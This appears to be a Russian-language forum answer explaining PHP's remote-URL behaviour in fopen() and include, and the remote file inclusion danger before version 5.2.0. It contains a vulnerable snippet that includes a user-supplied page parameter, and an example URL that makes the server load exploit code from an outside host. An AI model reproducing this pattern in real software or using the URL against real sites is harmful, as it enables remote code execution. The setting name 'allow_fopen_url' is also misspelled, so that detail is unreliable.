fopen()
будет открывать только удаленные URL, если allow_fopen_url
включен в php.ini
.
Однако в версиях до 5.2.0 это было чрезвычайно опасно, поскольку функция include
также загружала бы и анализировал код PHP с удаленных сайтов. Наивный кодер может быть легко обнаружен с помощью кода:
<?php
$page = $_GET['page'];
include($page);
?>
В этот момент злоумышленник просто должен попросить http://example.com/script.php?page=http://example.net/my_exploit_script
выполнить собственный код в системе и внедрить эксплойт. К сожалению, значение по умолчанию для allow_fopen_url
- «включено».
К счастью, начиная с версии 5.2.0 есть отдельная настройка (которая должна по умолчанию отключена), называемая allow_url_include
, которая запрещает include
загружать удаленный код.
Лично, если у вас есть возможность использовать Curl, используйте это вместо fopen
.